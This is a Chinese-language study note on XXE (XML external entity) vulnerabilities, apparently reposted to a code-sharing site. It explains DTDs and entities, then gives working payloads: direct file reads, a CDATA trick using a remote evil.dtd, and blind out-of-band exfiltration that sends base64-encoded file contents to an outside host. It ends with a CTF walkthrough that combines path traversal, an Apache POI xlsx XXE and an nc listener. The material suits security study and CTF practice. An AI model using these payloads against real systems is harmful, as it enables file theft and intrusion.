XXE漏洞學習筆記


XXE

參考文章

名稱 地址
一篇文章帶你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357
Web Hacking 101 https://wizardforcel.gitbooks.io/web-hacking-101/content/14.html
XXE學習之路STEP BY STEP https://www.freebuf.com/column/156863.html
XXE漏洞學習 https://www.cnblogs.com/zhaijiahui/p/9147595.html
從XML相關一步一步到XXE漏洞 https://xz.aliyun.com/t/6887
Blind XXE經典payload引發的腦洞 http://gv7.me/articles/2018/think-about-blind-xxe-payload/

看完以上文章,下面內容的可以忽略了

下文中為了簡便,使用 // 代表注釋,實際上注釋符為 <!-- xxxx -->

XML/DTD

XML(可擴展標記語言):一種標記語言,類似於HTML,設計用來傳輸和存儲數據。
DTD(文檔類型定義):定義 XML 文檔的合法構建模塊。簡單來說就是規定 XML 的內容、格式

DTD示例:test.dtd 文件

<!ELEMENT person (name,sex,age,hobby)>  //定義了根元素 person,以及子元素 name、sex、age、hobby
<!ELEMENT name (#PCDATA)>        // 此處的 #PCDATA 代表 字符數據,是會被解析器解析的文本,這些文本將被解析器檢查實體以及標記。
<!ELEMENT sex (#PCDATA)>        
<!ELEMENT age (#PCDATA)>
<!ELEMENT hobby (#PCDATA)>

對應XML示例:test.xml文件

<?xml version="1.0"?>    //聲明 XML 版本
<!DOCTYPE test SYSTEM "test.dtd">  //引用外部 DTD 實體,即外部聲明
<person>                //以下的標簽都已在test.dtd文件中定義
<name>R0oKi3</name>
<sex>male</sex>
<age>unknow</age>
<hobby>female</hobby>
</person>

當然也可以將兩個文件內容寫到一起:combination.xml 文件
寫法稍有區別


<?xml version="1.0"?>
<!DOCTYPE test [                //內部聲明
  <!ELEMENT person (name,sex,age,hobby)>
  <!ELEMENT name (#PCDATA)>
  <!ELEMENT sex (#PCDATA)>
  <!ELEMENT age (#PCDATA)>
  <!ELEMENT hobby (#PCDATA)>
]>
<person>
<name>R0oKi3</name>
<sex>male</sex>
<age>unknow</age>
<hobby>female</hobby>
</person>

實體:

1.內部實體

<!ENTITY 實體名稱 "實體的值">

2.外部實體,注意不要跟引用外部文件<!DOCTYPE test SYSTEM "test.dtd"> 搞混淆了

<!ENTITY 實體名稱 SYSTEM "URI">

其中 URL 處還可使用各種協議,例如

<!ENTITY test SYSTEM "file:///c:/windows/system.ini">
<!ENTITY test SYSTEM "http://www.evil.com/evil.dtd">
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini" > 

各種環境中的協議有:

libxml2 PHP JAVA .NET
file file file file
ftp ftp ftp ftp
http http http http
php
https https
compress.zlib jar
compress.bzips netdoc
data mailto
glob gopher *
phar

3.通用實體
&實體名; 引用的實體,他在 DTD 中定義,在 XML 文檔中引用
定義:<!ENTITY name "value">,引用:&name;

示例代碼:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [<!ENTITY info "hacked by xxe"> ]>     //注意,此時是 ENTITY 而不是 ELEMENT
<test>  
    &info;  //這里的 &info; 在解析的時候會替換成為 "hacked by xxe" 
</test>

4.參數實體:
(1)使用 % 實體名;(這里面空格不能少) 在 DTD 中定義,並且只能在 DTD 中使用 %實體名; 引用
(2)只有在 DTD 文件中,參數實體的聲明才能引用其他實體
(3)和通用實體一樣,參數實體也可以外部引用
定義:

<!ENTITY % 實體名稱 “實體的值”>
或者
<!ENTITY % 實體名稱 SYSTEM “URI”>

引用:%test;

示例代碼:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element;         //解析之后成為 <!ELEMENT mytag (subtag)>,此時會將其識別為一個定義元素標簽的代碼,而不是簡單的字符串
%remote-dtd;        //解析之后獲取遠程的 dtd 文件,就跟 html 中引入外部 js 文件差不多,會執行外部文件里的內容

XXE示例

為什么會出現 XXE 漏洞?問題就出在可以引用外部實體(文件)上面。

情況一:有網頁回顯

方法:直接沖
當傳入的 XML 代碼為以下內容時:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE hack [  
<!ENTITY info SYSTEM "file:///c:/windows/system.ini"> ]> 
<hack>&info;</hack>

在有網頁回顯的地方,會將 c:/windows/system.ini 文件內容進行輸出。
但是當改文件中出現一些特殊字符,如 <、 >、 / 、<script>等,在解析時會報錯,因為此時的<hack>&info;</hack>
變成了<hack> <、 >、 / 、<script> </hack>,解析出錯
解決辦法:
1.用 實體引用 代替特殊字符,例如將 < 替換成 &lt; 。當然在進行 XXE 攻擊的時候顯然不可能,你的目標不可能這么貼心,自動幫你編碼

2.使用 CDATA 包裹

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///c:/windows/system.ini">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">        //可以將這個文件放在遠程主機上面
%dtd; ]> 
<roottag>&all;</roottag>                //此時在解析完參數實體之后,&all; 就代表着 <![CDATA[ c:/windows/system.ini 文件的內容 ]]>,即使文件里有特殊字符也沒關系

evil.dtd 文件

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">        

情況二:無回顯

方法:間接沖
由於 xml 可以發起網絡請求,於是便可以將數據外帶出去
遠程 vps 上的 test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1/msg/getmsg.php?msg=%file;'>">

傳輸的 xml payload

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE TEST [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1/msg/test.dtd">
%remote;%int;%send;
]><TEST/>

至於為什么一定要借助遠程vps上的dtd文件,大致原因是不能在實體定義中引用參數實體,即有些解釋器不允許在內層實體中使用外部連接,無論內層是一般實體還是參數實體。😵😵😵😵😵😵

XXE還可以干什么

內網主機探測、內網主機端口掃描、文件上傳等等,點擊傳送門

存在 XXE 漏洞的點

一般傳簡歷、個人信息的地方
抓包看數據中有沒有用標簽包裹的數據

CTF題復現----javafile

題目地址:2020網鼎杯青龍組javafile

1.首先打開網頁,有一個上傳功能,任意上傳一個文件,跳轉到下載頁,點擊下載,抓包,發現存在目錄穿越,任意文件下載

2.通過報錯發現網頁絕對路徑 /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

3.通過絕對路徑下載配置文件 web.xml /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>      //第一個類class
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>      //第二個類class
    </servlet>

    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>      //第三個類class
    </servlet>

    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>

4.下載三個類文件

../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

5.jd-gui-1.6.6.jar進行反編譯class文件
jd-gui-下載地址

6.1 首先在 DownloadServlet.class 的源代碼發現

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String fileName = request.getParameter("filename");
    fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
    System.out.println("filename=" + fileName);
    if (fileName != null && fileName.toLowerCase().contains("flag")) {
      request.setAttribute("message", ");
      request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
      return;
    } 

表明這里不能下載文件名帶 flag 字符串的文件,這也就解釋了既然存在任意文件下載為什么不直接下載 flag 文件
6.2 然后看到 UploadServlet.class

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
          try {
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          }  

大佬說可能是Apache POI XML外部實體漏洞
然后我們便可以構造 XXE 漏洞,注意代碼里面規定了文件名格式,以 excel- 開頭,並且是 xlsx 類型文件

7.利用 xlsx 文件構成遠程 xxe
新建一個 excel-xxe.xlsx 文件,解壓

修改解壓后的 [Content_Types].xml 文件的內容為:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE TEST [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1/msg/test.dtd">
%remote;%int;%send;
]><TEST/>

遠程 vps 上的 test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1/msg/getmsg.php?msg=%file;'>">

然后再給壓縮還原一下成 excel-xxe.xlsx
注意點:由於buu上的靶機不能訪問外網,所以要用buu提供的 frps 服務器,請看具體教程

8.在 vps 上啟動監聽 nc -lvvp 6666

9.上傳 excel-xxe.xlsx 文件,查看nc監聽結果,得到flag

為什么老是要在遠程主機上弄一個 dtd 文件

Blind XXE經典payload引發的腦洞

  • 解決辦法
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % all "<!ENTITY send 'http://127.0.0.1/?&#x25;file;'>">
%all;
]>
<roottag>&send;</roottag>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM